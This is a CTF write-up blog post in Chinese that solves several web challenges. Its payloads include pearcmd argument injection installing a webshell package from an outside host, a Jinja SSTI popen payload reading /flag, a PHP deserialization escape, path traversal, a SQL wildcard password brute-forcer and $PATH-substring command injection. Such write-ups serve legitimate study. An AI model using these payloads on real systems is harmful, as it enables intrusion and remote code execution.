是好玩的比赛的 WriteUp!
巅峰极客 2020 MeowWorld 首先看 hint register_argc_argv
,打开环境之后发现在 index.php
有一个简单的文件包含。用 PHP 伪协议读取一圈文件,发现如下内容。
1 2 3 4 <?php $f = $_GET['f' ] ?? "home" ; include ("{$f}.php" ); ?>
根据 hint 可知,argc
和 argv
两个参数可以指定,参考 这篇文章 可以知道接下来需要做什么。既然要用 pearcmd
,当然是首先读一手源码,于是利用上面的构造读取出 pearcmd
的源码,找到关键部分如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static function readPHPArgv () { global $argv; if (!is_array($argv)) { if (!@is_array($_SERVER['argv' ])) { if (!@is_array($GLOBALS['HTTP_SERVER_VARS' ]['argv' ])) { $msg = "Could not read cmd args (register_argc_argv=Off?)" ; return PEAR::raiseError("Console_Getopt: " . $msg); } return $GLOBALS['HTTP_SERVER_VARS' ]['argv' ]; } return $_SERVER['argv' ]; } return $argv; } }
可以发现 argv
会被当成参数返回,于是构造 ?f=pearcmd&argv=2+list
,得到回显如下,于是按照文章上的指引,准备一个包。
首先下载 这个包 ,然后在 Archive_Tar-1.4.0/Archive
下增加一个一句话木马的 PHP 文件 zit.php
。然后将 ./package.xml
文件中的 <content>
节点对应修改如下。
1 2 3 4 5 6 7 <contents > <dir name ="/" > <file baseinstalldir ="/" md5sum ="89b230679f31da6f8dbdea25095f4ca9" name ="Archive/Tar.php" role ="php" /> <file baseinstalldir ="/" md5sum ="7cc168393304c0c9c0de96d5e5e318e0" name ="Archive/zit.php" role ="doc" /> <file baseinstalldir ="/" md5sum ="2fb90f0be7089a45c09a0d1182792419" name ="docs/Archive_Tar.txt" role ="doc" /> </dir > </contents >
将整个包按原格式压缩还原为 tar.gz
,然后上传至服务器获取支链 https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz
。接下来构造 ?f=pearcmd&argv=list+install+--installroot+/tmp/+https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz
,得到包安装成功的回显 install ok: channel://pear.php.net/Archive_Tar-1.4.0
。
此时只需要找到 zit.php
的路由即可,随便输入一个之后看到报错中的关键信息 include_path='.:/usr/local/lib/php'
,于是拼合包的路径之后访问 /tmp/usr/local/lib/php/doc/Archive_Tar/Archive/zit
拿到 shell 的路由。使用蚁剑连接上去,可以看到 /readflag
。
执行 /readflag
时发现需要计算算术题,但是默认的虚拟终端没有交互,于是使用 perl 脚本完成这一步。在 /tmp/tmp
目录下写入脚本并执行即可得 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 use strict;use IPC::Open3;my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed $!" ; my $r;$r = <CHLD_OUT>; print "$r" ;$r = substr ($r,0 ,11 ); $r = eval "$r" ; print "$r\n" ;print CHLD_IN "$r\n" ;$r = <CHLD_OUT>; print "$r" ;$r = <CHLD_OUT>; print "$r" ;
babyflask 看界面,老 Whoami 了。直接看请求,发现是 SSTI,一套标准拳打出,拿到 flag。
1 .../loged?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
CTF Show 月饼杯 此夜圆 1 return str_replace('Firebasky' , 'Firebaskyup' , $string);
此处造成了简单的反序列化逃逸,Firebasky
被替换成 Firebaskyup
,字符多出两个。需要构造的反序列化字符串可以写成这样。
1 O:1 :"a" :2 :{s:5 :"uname" ;s:(这里是长度):"(这里是用户名)" ;s:8 :"password" ;s:5 :"yu22x" ;}";s:8:" password";i:1;}
总共填充了 30 个字符 ";s:8:"password";s:5:"yu22x";}
,因此需要 15 次替换才能将这 30 个字符变成后面的反序列化内容。 于是构造出这样的 payload.
1 ?1=FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}
故人心 level 1 使用科学计数法表达一个极小的小数,采用 1e-199
。level 2 访问 .../robots.txt
可以发现 hinthint.txt
进而找到如下提示。
1 2 3 4 5 Is it particularly difficult to break MD2?! I'll tell you quietly that I saw the payoad of the author. But the numbers are not clear.have fun~~~~ xxxxx024452 hash("md2",$b) xxxxxx48399 hash("md2",hash("md2",$b))
于是写个脚本跑一下 b
和 c
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php for ($i = 0 ;$i <= 999 ;$i++){ $b = sprintf("0e%03d" ,$i) . "024452" ; if ($b == hash("md2" ,$b)){ echo "b = " . $b . "\n" ; break ; } } for ($i = 0 ; $i <= 9999 ;$i++){ $c = sprintf("0e%04d" ,$i) . "48399" ; if ($c == hash("md2" ,hash("md2" ,$c))){ echo "c = " . $c . "\n" ; break ; } }
得到 b = 0e652024452,c = 0e603448399
。level 3
php 会把无法解析的协议当成目录
因此,结合目录穿越就能读到 flag。
1 lemon://ctfshow.com/../../../../../../../../../../../../../fl0g.txt
莫负婵娟 首先看一手页面源码,得到这样的 hint,用户名是 yu22x
。
1 2 3 <!--注意:正式上线请删除注释内容! --> <!-- username yu22x --> <!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
结合题目描述的 hint 环境变量 +linux字符串截取 + 通配符
,尝试一波 SQL 的通配符。
依照上图的结果构造一波 payload 发现当 password
参数为 6_______________________________
时回显是不一样的,于是写个脚本跑出密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php const ASCII_START = 32 ;const ASCII_END = 127 ;$result = "6" ; for ($i = 0 ; $i < 31 ;$i++){ $p = sprintf("%0" . (30 - $i) . "d" ,0 ); if ($i == 30 ){ $p = "" ; } $p = str_replace("0" ,"_" ,$p); for ($j = ASCII_START;$j <= ASCII_END;$j++){ if ($j == 95 ){ continue ; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, '.../login.php' ); curl_setopt($ch, CURLOPT_HEADER, 1 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POST, 1 ); $postData = array ("password" => $result . chr($j) . $p, "username" => "yu22x" ); $postData = http_build_query($postData); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); $outcontent = curl_exec($ch); $httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); printf("Now j is %d,string is %s\n" ,$j,$result . chr($j) . $p); if (strpos($outcontent,"I have filtered all the characters. Why can you come in? get out!" ) || $httpCode == 302 ){ $result .= chr($j); echo $result; break ; } } }
可以得到密码为 67815b0c009ee970fe4014abaa3Fa6A0
。
New Section 使用环境变量截取出 nl ????.???
的指令读取 flag.php
。
1.1.1.1;${PATH:14:1}$ {PATH:5:1} ????.???